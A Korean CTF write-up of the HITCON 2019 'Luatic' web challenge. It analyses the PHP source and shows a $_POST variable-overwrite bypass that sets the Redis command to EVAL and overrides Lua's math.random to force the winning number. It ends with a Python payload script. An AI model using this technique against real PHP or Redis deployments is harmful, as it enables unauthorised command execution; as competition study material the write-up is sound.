CTF/2019 HITCON

[WEB] Luatic Write-up

NGA_ 2019. 10. 14. 13:55

 

 


index.php

 

 

해당 문제의 index.php이며 team token 값을 받아 luatic, start, reset, status에 사용이 되었다.

team token 은 HITCON team page에서 확인할 수 있었다. 


 

luatic.php

   <?php
   
    /* Author: Orange Tsai(@orange_8361) */
    include "config.php";

    foreach($_REQUEST as $k=>$v) {
        if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)  )
            exit('Shame on you');
    }

    foreach(Array('_GET','_POST') as $request) {
        foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
    }

    if (strlen($token) == 0) highlight_file(__FILE__) and exit();
    if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');

    $guess = (int)$guess;
    if ($guess == 0) die('Shame on you');

    // Check team token
    $status = check_team_redis_status($token);
    if ($status == "Invalid token") die('Invalid token');
    if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');

    // Get team redis port
    $port = get_team_redis_port($token);
    if ((int)$port < 1024) die('Try again');
    
    // Connect, we rename insecure commands
    // rename-command CONFIG ""
    // rename-command SCRIPT ""
    // rename-command MODULE ""
    // rename-command SLAVEOF ""
    // rename-command REPLICAOF ""
    // rename-command SET $MY_SET_COMMAND
    $redis = new Redis();
    $redis->connect("127.0.0.1", $port);
    if (!$redis->auth($token)) die('Auth fail');

    // Check availability
    $redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
    if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');

    // Lottery!
    $LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
    $seed  = random_int(0, 0xffffffff / 2);
    $count = random_int(5, 10);
    $result = $redis->eval($LUA_LOTTERY, array($seed, $count));

    sleep(3); // Slow down...
    if ((int)$result === $guess)
        die("Congratulations, the flag is $FLAG");
    die(":(");
    
    ?>

luatic을 클릭하여 luatic.php 소스코드를 확인할 수 있었다.

 

소스코드 분석

 

6 ~ 13 line  foreach를 통해 $_GET과 $_POST에서 token, guess 등의 변수를 생성한다.

[*] 임의의 변수 생성이 가능.

 

15 ~ 28 line  token, guess 값을 검증하고 token 값을 통해 port와 Redis의 실행상태를 확인한다.

 

37 ~ 39 line  Redis에 연결

 

42 ~ 43 line  Redis 가 정상적으로 작동하는지 확인하기 위해 redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE)을 실행하고 redis->get($TEST_KEY) 결괏값과 $TEST_VALUE 값을 비교해 정상작동을 확인한다.

[*] MY_SET_COMMAND, TEST_KEY, TEST_VALUE는 config.php 에 설정이 되어 있는 거 같다.

[*] 위의 변수들을 덮는다면 원하는 Redis Command를 사용할 수 있다. 

 

46 ~ 49 line  Redis EVAL Command를 통해 Lua script를 실행시키고 result에 저장한다.

[*] 원하는 Redis Command를 사용하게 된다면 Lua script의 return 값을 변조할 수 있다.

 

52 ~ 54 line  result 값과 guess 값을 비교 후 같다면 flag를 출력해준다.

 


6 ~ 13

foreach($_REQUEST as $k=>$v) {
    if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)  )
        exit('Shame on you');
}

foreach(Array('_GET','_POST') as $request) {
    foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}

첫 번째 foreach 문을 통해서 $_REQUEST 배열의 key 값 중에 FLAG, MY_, TEST_, GLOBALS 시작하는 값을 필터링한다.

 

두 번째 foreach 문으로 $_GET, $_POST 배열의 key와 value로 변수를 생성한다. 단 value에 "[]{}=.'\"" 등의 문자는 NULL로 치환이 된다.

 

첫 번째 foreach 문에서 FLAG, MY_, TEST_ 등을 필터링 함으로 MY_SET_COMMAND와 같은 값을 $_GET과 $_POST의 key로 사용할 수 없다. 그러나 두 번째 foreach 문을 통해 MY_SET_COMMAND 변수 생성이 가능하다.

 

?_POST ['MY_SET_COMMAND']=123처럼 GET 값을 주게 되면 $_GET에 key, value로 변수를 생성.

그 후 $_POST에 key, value로 $MY_SET_COMMAND=123 변수를 생성하게 된다.

 

url?_POST ['MY_SET_COMMAND'] => $_POST ['MY_SET_COMMAND'] => $MY_SET_COMMAND 

 


46 ~ 49 

$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed  = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));

result 값을 변조하기 위해선 redis->eval의 결괏값을 변조해야 하는데 LUA_LOTERY, seed, count 변수를 조작할 수 없음으로 Lua script의 math.random 함수를 덮어 원하는 결괏값이 나오도록 한다.

 

 

42 ~ 43

$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');

 

EVAL 'math.random = math.exp' 0

EVAL 'return math.random(x)' // if x >= 44 then return -9223372036854775808

 

위처럼 math.random = math.exp로 하려 했지만 []{}.= 등의 필터로 불가능.

 

EVAL 'function math:random() return 1 end'

EVAL 'return math.random(0)' // return 1 

 

그러므로 function을 만들어 덮어준다.

 

$MY_SET_COMMAND = EVAL

$TEST_KEY = function math:random() return 1 end

$TEST_VALUE = 1

 


Payload

from requests import *

token = ""	# your Team-token

command = "EVAL"
key = "function math:random() return 1 end return math.random()"
value = "0"
url = "http://54.250.242.183/luatic.php?"

def set():

	query = "token={}&cmd=status&guess=1&_POST[TEST_KEY]={}&_POST[TEST_VALUE]={}".format(token,key,value)
	res = get(url+query)
	print(res.text)
	
def execute():

	query = "token={}&cmd=status&guess=1&_POST[MY_SET_COMMAND]={}&_POST[TEST_KEY]={}&_POST[TEST_VALUE]={}".format(token,command,key,value)
	res = get(url+query)
	print(res.text)
	
	
set()
execute()